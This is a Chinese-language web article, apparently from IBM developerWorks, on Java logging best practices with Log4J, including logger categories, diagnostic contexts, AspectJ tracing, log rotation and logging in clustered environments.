<TD vAlign=top align=right><A class=fbox href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#main"><B><FONT color=#996699>回页首</FONT></B></A></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><BR><BR>
<P><A name=2><SPAN class=atitle><FONT face=Arial size=4>日志概述</FONT></SPAN></A></P>
<P>Log4J 和 Java Logging API 都采用了类似的设计和使用模式（如图 1 和清单 1 所示）。消息首先被创建，然后传递给一个具有特定优先权的日志对象。这些消息的目的和格式是由输出处理程序及其布局所决定。</P><BR><A name=figure1><B>图 1. 日志实现的主要组件</B></A><BR><IMG height=199 alt=日志实现的主要组件 src="http://www-128.ibm.com/developerworks/cn/java/j-logging/components.gif" width=508><BR><BR><A name=listing1><B>清单 1. 日志对象的实例化和使用</B></A><BR>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console">import org.apache.log4j.Logger;

public class MyClass {
  /*
   * Obtain a logger for a message category. In this case, the message category is
   * the fully qualified class name of MyClass.
   */
  private static final Logger logger = Logger.getLogger(MyClass.class.getName());
  ...
  public void myMethod() {
    ...
    if (logger.isDebugEnabled()) {
      logger.debug("Executing with parameters: " + param1 + ":" + param2);
    }
  }
}</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR>
<P>一个好的日志实现中提供了很多不同的输出处理程序，最常见的文件输出处理程序和终端输出处理程序。Log4J 还提供了一些处理程序将消息发布到一个 JMS 主题中，或者将消息插入一个数据库表中。尽管这编写一个定制的附加器并不困难，但是编写和维护这种代码的总体成本不应低估。消息的格式可以通过 <CODE>Layout</CODE> 对象进行配置。最常见的 layout 对象是 <CODE>PatternLayout</CODE>，它根据所提供的模式对消息进行格式化。</P>
<P>清单 2 给出了一个 Log4J 的样例配置文件，它负责配置 <CODE>FileAppender</CODE>。在这种配置中，<CODE>com.ambrosesoft.log.MyClass</CODE> 类中的错误消息被发送给 <CODE>FileAppender</CODE>，后者将其写入一个名为 log.txt 的文件中。这些消息是根据与这个添加器相关的 layout（在这种情况中是 <CODE>PatternLayout</CODE>）进行格式化的。</P><BR><A name=listing2><B>清单 2. Log4J XML 配置样例文件</B></A><BR>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section><FONT face="Lucida Console"><?xml version="1.0" encoding="UTF-8" ?>


<?xml:namespace prefix = log4j /><log4j:configuration xmlns:log4j="http://jakarta.apache.org/log4j/">
        
  <APPENDER class=org.apache.log4j.FileAppender name="fileAppender">
    <PARAM name="File" value="log.txt" />
    <PARAM name="Append" value="true" />
    <LAYOUT class=org.apache.log4j.PatternLayout>
      <PARAM name="ConversionPattern" value="%d [%t] %p - %m%n" />
    </LAYOUT>
  </APPENDER>

  <CATEGORY name="com.ambrosesoft.log.MyClass">
    <PRIORITY value="error" />
    <APPENDER-REF ref="fileAppender" />
  </CATEGORY>

  <ROOT>
    <PRIORITY value="debug" />
    <APPENDER-REF ref="fileAppender" />
  </ROOT>

</log4j:configuration>
</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR><BR>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD><FONT face="Lucida Console"><IMG height=1 alt="" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" width="100%"></FONT></TD></TR></TBODY></TABLE>
<TABLE class=no-print cellSpacing=0 cellPadding=0 align=right>
<TBODY>
<TR align=right>
<TD>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD vAlign=center><FONT face="Lucida Console"><IMG height=16 alt="" src="http://www.ibm.com/i/v14/icons/u_bold.gif" width=16 border=0><BR></FONT></TD>
<TD vAlign=top align=right><A class=fbox href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#main"><B><FONT color=#996699>回页首</FONT></B></A></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><BR><BR>
<P><A name=3><SPAN class=atitle><FONT face=Arial size=4>日志最佳实践</FONT></SPAN></A></P>
<P>关于日志，您要做的一个最重要的选择可能是确定一种模式，将每个日志消息分配给一个特定的 <I>类别</I>。常见的一种实践是使用每个类的全名，这些类的操作会被作为一个消息类别在日志中记录（正如我们在清单 1 中看到的一样），这是因为这可以让开发人员更细粒度地记录每个类的设置。然而，这只有在使用日志消息来跟踪执行过程时才能良好地工作。在企业级的应用程序中，有很多其他类型的日志消息。举例来说，一条日志消息可能是为安全顾问产生的，而另外一条日志消息则可能是会为了帮助进行性能调优而产生的。如果这两条消息所关注的是同一个类，这样就会被分配给相同的类别，这将很难在日志输出结果中对其进行区分。</P>
<P>为了避免这个问题，应用程序应该具有一组专用的日志记录程序，它们都进行了独特的分类，如清单 3 所示。每个日志记录程序都可以配置自己的优先级和输出处理程序。例如，安全性日志记录程序可以在将日志写入目的地之前对消息进行加密。有时应用程序的设计者应该与使用日志的用户（例如安全顾问）一起来商讨日志的输出格式，从而对这些消息进行更好的控制。</P><BR><A name=listing3><B>清单 3. 专用的日志记录程序</B></A><BR>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console">import org.apache.log4j.Logger;

public interface Loggers {
 <FONT style="BACKGROUND-COLOR: #ffff00" color=#ff0000> Logger performance = Logger.getLogger("performance");
  Logger security = Logger.getLogger("security");
  Logger business = Logger.getLogger("business");</FONT>
}
...
public class MyClass {
  ....
  if (<FONT style="BACKGROUND-COLOR: #ffff00" color=#ff0000>Loggers.security.isWarnEnabled()</FONT>) {
    Loggers.security.warn("Access denied: Username [" + userName + "] ...");
  }
  ...
}
</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR>
<P><A name=3.1><SPAN class=smalltitle><STRONG><FONT face=Arial>选择日志的级别</FONT></STRONG></SPAN></A></P>
<P>一个 <I>类别</I> （例如 security）中的消息可以具有不同的 <I>优先级</I>。有些消息是为了调试而产生的，有些是为了警告而产生的，有些则是出现错误而产生的。消息的不同优先级可以通过记录 <I>级别</I> 来产生。最常用的日志级别有：</P>
<UL>
<LI><B>Debug:</B> 这个级别的消息中包含了非常广泛的上下文信息。通常用于问题诊断。<BR><BR>
<LI><B>Info:</B> 这些消息包含了一些有助于在产品环境中（粒度较粗）帮助跟踪执行过程的上下文消息。<BR><BR>
<LI><B>Warning:</B> 警告消息，说明系统中可能存在问题。例如，如果这个消息类别是有关安全性方面的，那么如果检测到字典攻击，就应该产生一条警告消息。<BR><BR>
<LI><B>Error:</B> 错误消息说明系统中出现了严重的问题。这种问题通常都是不可恢复的，需要人工进行干预。</LI></UL>
<P>标准的 Java Logging API 和 Apache Log4J 在此之外又提供了一些日志级别。日志级别的主要目标是帮助您过滤有用信息中的噪声。为了防止出现使用错误的级别以及降低日志消息的效用的情况，在开始编码之前，必须为开发人员提供一个清晰的指导方针。</P>
<P><A name=3.2><SPAN class=smalltitle><STRONG><FONT face=Arial>日志消息的格式</FONT></STRONG></SPAN></A></P>
<P>一旦选定日志记录程序并建立起日志级别之后，就可以开始构建日志消息了。在这样做时，重要的是要包含尽可能多的上下文信息，例如用户提供的参数，其他应用程序的状态信息。记录日志对象的一种方法是将它们转换成 XML。第三方库，例如 XStream（请参阅 <A href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#resources"><FONT color=#996699>参考资料</FONT></A>）可以自动将 Java 对象转换成 XML 。尽管这是一种非常强大的机制，但是我们必须要考虑在速度与详细程度之间达到一种平衡。除了典型的应用程序状态信息之外，还应该记录以下信息：</P>
<UL>
<LI><B>线程 ID:</B> 企业级的应用程序通常都是在多线程的环境中运行的。使用线程 ID 信息，您就可以将多个请求区分开来。<BR><BR>
<LI><B>调用程序的标识:</B> 调用程序的标识也是非常重要的信息。由于不同的用户具有不同的特权，它们的执行路径也可能会有很大的不同。将用户的标识放到日志消息中，这对于对安全性敏感的应用程序是非常大的一个帮助。<BR><BR>
<LI><B>时间戳:</B> 通常来说，用户只能近似地知道问题发生的时间。如果没有时间戳，就很难让别人来判断问题的原因所在。<BR><BR>
<LI><B>源代码信息:</B> 这包括类名、方法名和行号。除非您非常关注安全性，否则我建议您保留调试标记<FONT style="BACKGROUND-COLOR: #ffff00" color=#ff0000>（<CODE>-g</CODE>），</FONT>即使在编译产品时也是如此。如果没有调试标记，Java 编译器就会删除所有的行号信息，从而极大地减少日志消息的可用性。 </LI></UL>
<P>上面这些信息（除了调用程序标识）都是由日志实现自动获取的。为了将这些信息包含到消息中，您只需要为输出处理程序配置一个适当的 layout 模式即可。要捕获调用者的标识，您可以利用 Log4J 中的诊断上下文特性（更多信息请参阅 <A href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#resources"><FONT color=#996699>参考资料</FONT></A>）。诊断上下文让您可以将上下文信息与当前正在运行的线程关联在一起。这些信息可以在为输出进行格式化的同时而包含到每条消息中。</P>
<P>在 J2EE Web 应用程序中，应用逻辑将用户标识保存到诊断上下文中最好的地方是在一个 servlet 过滤器中。清单 4 中显示了要实现这种功能的必要代码。它使用了 Log4J 1.3 alpha 中提供的映射诊断上下文类（<CODE>MDC</CODE>）。您可以使用 Log4J 1.2 中提供的嵌套诊断上下文（<CODE>NDC</CODE>）实现相同的功能。有关 servlet 过滤器的更多通用信息，请参阅 <A href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#resources"><FONT color=#996699>参考资料</FONT></A> 中的信息。</P><BR><A name=listing4><B>清单 4. 在 servlet 过滤器中使用诊断上下文</B></A><BR>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console">import javax.servlet.Filter;
...
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import org.apache.log4j.MDC;

public class LoggerFilter implements Filter {
    
    public void doFilter(ServletRequest request, ServletResponse response,
            FilterChain chain) throws IOException, ServletException {
        
        // Retrieves the session object from the current request.
        HttpSession session = ((HttpServletRequest)request).getSession();
        
        // Put the username into the diagnostic context.
        // Use %X{username} in the layout pattern to include this information.
        <FONT style="BACKGROUND-COLOR: #ffff00" color=#ff0000>MDC</FONT>.put("username", session.getAttribute("username"));
        
        // Continue processing the rest of the filter chain.
        chain.doFilter(request, response);
        
        // Remove the username from the diagnostic context.
        MDC.remove("username");
    }
    ...
}</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR>
<P><A name=3.3><SPAN class=smalltitle><STRONG><FONT face=Arial>使用 AspectJ 跟踪执行情况</FONT></STRONG></SPAN></A></P>
<P>在对问题进行诊断时，通常跟踪程序的执行情况会很有帮助。您可以在程序执行的不同地方持续发送日志消息吗？例如方法的入口函数和出口函数。这是一个老问题，在出现 AspectJ 之前一直都没有什么好的解决方案。使用 AspectJ，可以在应用程序的不同地方执行代码段。在 AspectJ 中，这些地方都称为 <I>point cut</I>，在 point cut 处所执行的代码称为 <I>advice</I>。point cut 和advice 合称 <I>aspect</I>。</P>
<P>关于 AspectJ，有一件事情非常神奇，aspect 不用很多努力就可以应用到整个应用程序中。有关 AspectJ 的更多信息，请参阅 <A href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#resources"><FONT color=#996699>参考资料</FONT></A>。清单 5 给出了一个 AspectJ 源文件的例子，它用来对方法的入口和出口函数记录日志。在这个例子中，跟踪日志程序将在每次进入或退出 <CODE>com.ambrosesoft</CODE> 包的一个共有方法时都会记录一条日志。</P><BR><A name=listing5><B>清单 5. 使用 AspectJ 记录方法的入口和出口</B></A><BR>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console">import org.apache.log4j.Logger;
import java.lang.reflect.Field;

public aspect AutoTrace {

    private static final Logger logger = Logger.getLogger(AutoTrace.class);
    
    pointcut publicMethods() : execution(public * com.ambrosesoft..*(..));

    pointcut loggableCalls() : publicMethods();
    
    /**
     * Inspect the class and find its logger object. If none is found, use
     * the one defined here.
     */
    private Logger getLogger(org.aspectj.lang.JoinPoint joinPoint) {
        try {
            /*
             * Try to discover the logger object. 
             * The logger object must be a static field called logger.
             */
            Class declaringType = joinPoint.getSignature().getDeclaringType();
            Field loggerField = declaringType.getField("logger");
            loggerField.setAccessible(true);
            return (Logger)loggerField.get(null);
        } catch(NoSuchFieldException e) {
            /*
             * Cannot find a logger object, use the internal one.
             */
            return logger;
        } catch(Exception e) {
            throw new RuntimeException(e);
        }
    }
    
    /**
     * An aspect to log method entry.
     */
    before() : loggableCalls(){
        getLogger(thisJoinPoint).debug("Entering.." + thisJoinPoint.getSignature().toString());
    }
      
    /**
     * An aspect to log method exit.
     */
    after() : loggableCalls(){
        getLogger(thisJoinPoint).debug("Exiting.." + thisJoinPoint.getSignature().toString());
    }
}</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR><BR>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD><FONT face="Lucida Console"><IMG height=1 alt="" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" width="100%"></FONT></TD></TR></TBODY></TABLE>
<TABLE class=no-print cellSpacing=0 cellPadding=0 align=right>
<TBODY>
<TR align=right>
<TD>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD vAlign=center><FONT face="Lucida Console"><IMG height=16 alt="" src="http://www.ibm.com/i/v14/icons/u_bold.gif" width=16 border=0><BR></FONT></TD>
<TD vAlign=top align=right><A class=fbox href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#main"><B><FONT color=#996699>回页首</FONT></B></A></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><BR><BR>
<P><A name=4><SPAN class=atitle><FONT face=Arial size=4>产品环境中的日志</FONT></SPAN></A></P>
<P>一旦应用程序处于产品环境中之后，您通常都需要关闭调试或信息日志消息，从而对运行时的性能进行优化。然而，当有些不好的事情发生时，您又不能在开发环境中重现这个问题，那就可能需要在产品环境中激活调试消息了。重要的是能够修改日志的设置，而不用关闭服务器。诊断产品的问题即使不用花费数天来进行详细的调研，通常也需要几个小时的时间。在这段时间之内，开发人员需要激活或关闭应用程序不同范围的日志。如果每次修改日志的设置之后都需要重新启动产品应用程序，那么情况就会变得非常不可靠了。</P>
<P><FONT style="BACKGROUND-COLOR: #ffff00" color=#ff0000>幸运的是，Log4J 提供了一种简单的机制来解决这个问题。在 Log4J 1.2 中，<CODE>DOMConfigurator</CODE> 中的 <CODE>configureAndWatch()</CODE> 方法会对 Log4J 进行配置，并自动监视日志配置文件中的变化。这在清单 6 中进行了阐述。（注意，在 Log4J 1.3（目前仍是 alpha 版本） 中并不推荐使用 <CODE>DOMConfigurator</CODE>，它使用了一个更加灵活的实现 <CODE>JoranConfigurator</CODE>。）</FONT></P>
<P><FONT style="BACKGROUND-COLOR: #ffff00" color=#ff0000>为了确保 <CODE>configureAndWatch()</CODE> 是在 Log4J 初始化之前调用的，您应该在启动类中调用它。不同的应用程序服务器采用了不同的机制来执行启动代码（更多信息请参阅 </FONT><A href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#resources"><FONT style="BACKGROUND-COLOR: #ffff00" color=#ff0000>参考资料</FONT></A><FONT style="BACKGROUND-COLOR: #ffff00" color=#ff0000>）。详细信息请查看应用服务器的实现。有些应用服务器可能需要您将 Log4J 的库放到服务器的 classpath 中。日志配置文件应该保存到一个需要日志的人可以访问的位置。</FONT></P><BR><A name=listing6><B>清单 6. 使用 DOMConfigurator 配置 Log4J</B></A><BR>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console">/*
 * Configure Log4J library and periodically monitor log4j.xml for any update.
 */
DOMConfigurator.configureAndWatch("/apps/config/log4j.xml");
</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR>
<P><FONT style="BACKGROUND-COLOR: #ffff00" color=#ff0000>如果您的日志配置文件不能方便地进行访问（例如您的产品环境是由一个不同的组织进行维护的），那么您就必须使用一种不同的策略。标准的方法是使用 JMX</FONT>，它提供了一个标准的 API 来管理自己的应用程序设置。在现代 JMX 兼容的服务器中，您可以使用管理 bean （或 <I>MBeans</I> ）来扩展应用服务器的管理终端的功能（更多有关使用 JMX 以及在 WebSphere Application Server 6.0 中使用 JMX 的内容，请参阅 <A href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#resources"><FONT color=#996699>参考资料</FONT></A> 一节。）由于 JMX 方法非常复杂，如果您的情况需要使用 JMX，那就应该只用作这个用途。</P>
<P><A name=4.1><SPAN class=smalltitle><STRONG><FONT face=Arial>记录敏感的数据</FONT></STRONG></SPAN></A></P>
<P>在记录产品环境中的日志时，除了技术方面的挑战之外，还存在一些业务问题需要克服。例如，记录敏感的信息可能会引起安全性的问题。并没有任何限制可以防止您将某个用户的用户名和密码保存到正文文件中。您还必须要保护其他敏感信息，例如 e-mail 地址、电话号码以及帐号信息。安全顾问和设计师有责任要确保这些信息不会未加任何处理就保存到日志中。对敏感信息使用安全性专用的日志程序可以帮助降低风险。您可以给这个日志程序配置一个专用的附加器，从而使用一种加密的格式来保存消息，或者将其保存到一个安全的地方。然而，防止出现安全风险的最佳方法是在项目开始之前就设置适当的编码规范，并在检查代码时强制施行这些规范。</P>
<P><A name=4.2><SPAN class=smalltitle><STRONG><FONT face=Arial>从异常中提取有用信息 </FONT></STRONG></SPAN></A></P>
<P>当发生一个非预期的异常时 —— 例如，如果数据库连接突然失效了，或者系统资源变得很低了 —— 就必须对其适当地进行处理，否则就会丢失有用的信息，这些信息在诊断问题时是非常有帮助的。首先，必须记录异常及其堆栈跟踪状况。其次，应该使用一种用户界面友好的方式来标识错误页面，这对于终端用户和技术支持小组来说都是非常有帮助的。</P>
<P>技术支持小组在接到一个技术支持电话时所面临的一个挑战是在用户所报告的问题与特定的日志异常之间建立某种关联。非常有用的一种简单技术是为每个异常都记录一个唯一的 ID。这个 ID 可以告诉用户，也可以包含在终端用户所填写的问题报告表单中。这样可以减少技术支持团队成员猜测的时间，让他们可以快速对问题作出响应。考虑到可读性的问题，可以定期对 ID 进行回收。</P>
<P><A name=4.3><SPAN class=smalltitle><STRONG><FONT face=Arial>日志文件的管理</FONT></STRONG></SPAN></A></P>
<P>一个非常繁忙的应用程序的日志文件可能会迅速变得非常大。较大的日志文件很难使用，这是因为它们需要过滤大量的噪声才能找到有用的信号。<I>Log 循环</I> 是常见的一个可以帮助解决这个问题的实践。日志循环会周期性地对旧日志进行归档，这样新消息就可以总能写到一个相对较小的文件中。日志消息降低了一些效用来提高速度；您可能很少需要参考一周之前的日志消息。在 Log4J 1.2 中， <CODE>DailyRollingFileAppender</CODE> 附加器可以根据所提供的日期模式来循环使用日志文件。（在 Log4J 1.3 中，已经对这个循环日志文件附加器重新进行了设计。现在您可以提供一种策略来控制如何进行循环了。例如， <CODE>TimeBasedRollingPolicy</CODE> 定义了一种基于时间和日期的循环模式。）清单 7 显示了让 Log4J 在每天午夜对自己的日志文件进行循环所采用的配置片断。 </P><BR><A name=listing7><B>清单 7. 使用 DailyRollingFileAppender 循环使用日志文件</B></A><BR>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#eeeeee border=1>
<TBODY>
<TR>
<TD><PRE><CODE class=section>
<FONT face="Lucida Console"><?xml version="1.0" encoding="UTF-8" ?>


<log4j:configuration xmlns:log4j="http://jakarta.apache.org/log4j/">
        
  <APPENDER class=org.apache.log4j.DailyRollingFileAppender name="fileAppender">
    <PARAM name="File" value="log.txt" />
    <PARAM name="Append" value="true" />
    <PARAM name="DatePattern" value="'.'yyyy-MM-dd" />
    <LAYOUT class=org.apache.log4j.PatternLayout>
      <PARAM name="ConversionPattern" value="%d [%t] %p - %m%n" />
    </LAYOUT>
  </APPENDER>
...
</log4j:configuration>
</FONT></CODE></PRE></TD></TR></TBODY></TABLE><BR><BR>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD><FONT face="Lucida Console"><IMG height=1 alt="" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" width="100%"></FONT></TD></TR></TBODY></TABLE>
<TABLE class=no-print cellSpacing=0 cellPadding=0 align=right>
<TBODY>
<TR align=right>
<TD>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD vAlign=center><FONT face="Lucida Console"><IMG height=16 alt="" src="http://www.ibm.com/i/v14/icons/u_bold.gif" width=16 border=0><BR></FONT></TD>
<TD vAlign=top align=right><A class=fbox href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#main"><B><FONT color=#996699>回页首</FONT></B></A></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><BR><BR>
<P><A name=5><SPAN class=atitle><FONT face=Arial size=4>集群环境中的日志</FONT></SPAN></A></P>
<P>现在有越来越多的企业级应用程序是在集群环境或分布式环境中进行部署的。然而，集群环境中的日志需要更多规划，因为消息都是从不同的源头生成的（通常是不同的机器）。如果要对不同的机器记录日志，那就必须对这些机器的时间戳进行同步，否则日志消息的次序就混乱了。对机器间时钟进行同步的一种简单方法是使用一个时间服务器。有两种方法可以设置时间服务器。您可以指定一台内部的机器作为时间服务器。然后其他机器就可以使用网络时间协议（NTP）来与时间服务器的时间戳进行同步。另外，您可以使用 Internet 上提供的时间服务器（请参阅 <A href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#resources"><FONT color=#996699>参考资料</FONT></A>）。在 AIX 上，<CODE>xntpd</CODE> 守护进程用来对不同机器的系统时间进行同步。当机器具有相同的时间之后，就可以对日志一起进行分析了。</P>
<P>在集群环境中搜集日志消息还面临着一些挑战。在这种环境中保存日志消息的一种简单方法是将它们保存到主机特定的日志文件中。当集群是使用 <I>session affinity</I> 配置时，这可以很好地工作 —— 如果对某个特定用户会话的请求都要到同一个服务器上，并且 EJB 也都是部署在本地的。在这种配置中，集群中的机器所产生的日志文件都可以独立进行分析。如果不是这种情况 —— 换而言之，如果任何给定的请求都可以由多台机器进行处理 —— 那么对不同日志文件中的日志消息进行分析就会变得更加困难。在这种情况中，一种好的办法是使用系统管理软件来管理日志消息，例如 IBM Tivoli® 软件（请参阅 <A href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#resources"><FONT color=#996699>参考资料</FONT></A> 中的链接）。这种软件对所有的日志消息（在系统管理软件的术语中称之为 <I>事件</I>）提供了一个综合的视图，从而便于管理员使用。系统管理软件也可以根据所接收到的事件的类型触发一些操作（例如发送 e-mail 消息或传呼消息）。</P><BR>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD><IMG height=1 alt="" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" width="100%"></TD></TR></TBODY></TABLE>
<TABLE class=no-print cellSpacing=0 cellPadding=0 align=right>
<TBODY>
<TR align=right>
<TD>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD vAlign=center><IMG height=16 alt="" src="http://www.ibm.com/i/v14/icons/u_bold.gif" width=16 border=0><BR></TD>
<TD vAlign=top align=right><A class=fbox href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#main"><B><FONT color=#996699>回页首</FONT></B></A></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><BR><BR>
<P><A name=6><SPAN class=atitle><FONT face=Arial size=4>结束语 </FONT></SPAN></A></P>
<P>在本文中，我们介绍了在规划日志策略时需要考虑哪些问题。正如在编程时所碰到的问题一样，从一开始就采用一个经过详细考虑的规划要比在进行的同时规划更能节省工作量。良好的日志策略可以极大地帮助对问题进行诊断。最终，终端用户可以获得更好的应用程序，并能从技术支持团队获得迅速的响应。</P><BR>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD><IMG height=1 alt="" src="http://www.ibm.com/i/v14/rules/blue_rule.gif" width="100%"></TD></TR></TBODY></TABLE>
<TABLE class=no-print cellSpacing=0 cellPadding=0 align=right>
<TBODY>
<TR align=right>
<TD>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR>
<TD vAlign=center><IMG height=16 alt="" src="http://www.ibm.com/i/v14/icons/u_bold.gif" width=16 border=0><BR></TD>
<TD vAlign=top align=right><A class=fbox href="http://www-128.ibm.com/developerworks/cn/java/j-logging/#main"><B><FONT color=#996699>回页首</FONT></B></A></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><BR><BR>
<P><A name=resources><SPAN class=atitle><FONT face=Arial size=4>参考资料 </FONT></SPAN></A></P>
<UL>
<LI>您可以参阅本文在 developerWorks 全球站点上的 <A href="http://www.ibm.com/developerworks/java/library/j-logging/" target=_blank><FONT color=#5c81a7>英文原文</FONT></A>。<BR><BR>
<LI>Apache <A href="http://logging.apache.org/log4j/docs/index.html"><FONT color=#5c81a7>Log4J</FONT></A> 库是 Java 平台上特性最丰富、最成熟的日志 API。<BR><BR>
<LI>官方的 <A href="http://logging.apache.org/log4j/docs/manual.html"><FONT color=#5c81a7>short introduction to Log4J</FONT></A> 是为那些希望使用 Log4J 库的人准备的一个必读物。<BR><BR>
<LI><A href="http://supportweb.cs.bham.ac.uk/documentation/tutorials/docsystem/build/tutorials/log4j/log4j.html"><FONT color=#5c81a7>Log4J 教程</FONT></A> 对日志包进行了很好的介绍。<BR><BR>
<LI><A href="http://java.sun.com/j2se/1.4.2/docs/guide/util/logging/"><FONT color=#5c81a7>Java Logging API</FONT></A> 是 Java 1.4 及其更高版本中所提供的一个标准日志 API。这个 API 最初是 <A href="http://jcp.org/en/jsr/detail?id=47"><FONT color=#5c81a7>JSR 47</FONT></A>。<BR><BR>
<LI>Brian Gilstrap 撰写的“<A href="http://www.onjava.com/pub/a/onjava/2002/06/19/log.html"><FONT color=#5c81a7>An introduction to the Java Logging API</FONT></A>”（<I>OnJava.com</I>，2002 年 6 月）讨论了这个标准日志 API 的使用问题。<BR><BR>
<LI>Stuart Dabbs Halloway 撰写的“<A href="http://www.fawcette.com/javapro/2002_06/magazine/features/shalloway/"><FONT color=#5c81a7>The Java Logging API</FONT></A>”（<I>JavaPro</I>，2002 年 6 月）也很好地介绍了这个 API。<BR><BR>
<LI>Apache <A href="http://jakarta.apache.org/commons/logging/"><FONT color=#5c81a7>Commons Logging</FONT></A> API 对其他实现提供了一种封装，从而让您可以在不同的实现之间进行切换。<BR><BR>
<LI><A href="http://logging.apache.org/log4j/docs/api/org/apache/log4j/NDC.html"><FONT color=#5c81a7>嵌套诊断上下文（NDC）</FONT></A> 将上下文信息保存在本地线程存储中，在产生日志消息时可以使用这些信息。<BR><BR>
<LI><A href="http://xstream.codehaus.org/"><FONT color=#5c81a7>XStream</FONT></A> 库可以使用 introspection 将 Java 对象转化成 XML （反之亦可）。它对于记录应用程序的状态来说非常有用。<BR><BR>
<LI><A href="http://java.sun.com/products/servlet/Filters.html"><FONT color=#5c81a7>Servlet filter</FONT></A> 可以截获请求和响应，并能用于为日志消息设置上下文消息。<BR><BR>
<LI>Sun 的 <A href="http://java.sun.com/products/servlet/Filters.html"><FONT color=#5c81a7>The Essentials of Filters</FONT></A> 是学习 servlet 过滤器的一个很好资源。<BR><BR>
<LI>受欢迎的 developerWorks 作者 Sing Li 在“<A href="http://www-128.ibm.com/developerworks/cn/java/j-tomcat/"><FONT color=#5c81a7>Tomcat 的过滤诀窍</FONT></A>”（developerWorks，2001 年 6 月）一文中，介绍了有关 servlet 过滤的两点问题，这篇文章将向您展示如何在应用程序中充分利用这些过滤器。<BR><BR>
<LI><I><A href="http://www-128.ibm.com/developerworks/cn/views/java/articles.jsp?view_by=search&amp;search_by=AOP%40Work%3A"><FONT color=#5c81a7>AOP@Work</FONT></A></I> 系列，由面向方面开发社区的领先专家执笔撰写，深入介绍了应用 AOP 的问题。相关文章有“<A href="http://www.ibm.com/developerworks/cn/java/j-aopwork8/"><FONT color=#5c81a7>介绍 AspectJ 5</FONT></A>”和“<A href="http://www.ibm.com/developerworks/cn/java/j-aopwork9/"><FONT color=#5c81a7>用新的 AJDT 本本简化 AOP 开发</FONT></A>”。<BR><BR>
<LI>Wayne Beaton 和 Sree Anand Ratnasingh 撰写的“<A href="http://www.ibm.com/developerworks/websphere/library/techarticles/0401_beaton/0401_beaton.html"><FONT color=#5c81a7>Migrating WebLogic startup code to WebSphere Application Server V5</FONT></A>”（developerWorks, 2004 年 1 月），讨论了两个流行的应用服务器启动代码的差异。<BR><BR>
<LI>查看 <A href="http://java.sun.com/products/JavaManagement/"><FONT color=#5c81a7>Java Management Extensions（JMX）主页</FONT></A>。<BR><BR>
<LI>受欢迎的作者 Sing Li 在他的 3 篇系列文章“<A href="http://www-128.ibm.com/developerworks/cn/java/j-jmx1/"><FONT color=#5c81a7>从黑箱到企业，第 1 部分: 管理，JMX 1.1 样式 </FONT></A>” 中对 JMX 进行了深入的介绍。<BR><BR>
<LI>这个 <A href="http://publib.boulder.ibm.com/infocenter/ws60help/index.jsp?topic=/com.ibm.websphere.nd.doc/info/ae/ae/tjmx_extend.html"><FONT color=#5c81a7>帮助页面 </FONT></A>讨论了使用 Java Management Extensions（JMX）扩充 WebSphere Application Server 管理系统的内容。<BR><BR>
<LI><A href="http://www.ntp.org/"><FONT color=#5c81a7>Network Time Protocol</FONT></A> 项目主页上罗列了很多公共时间服务器，您可以使用它们来对机器时钟进行同步。<BR><BR>
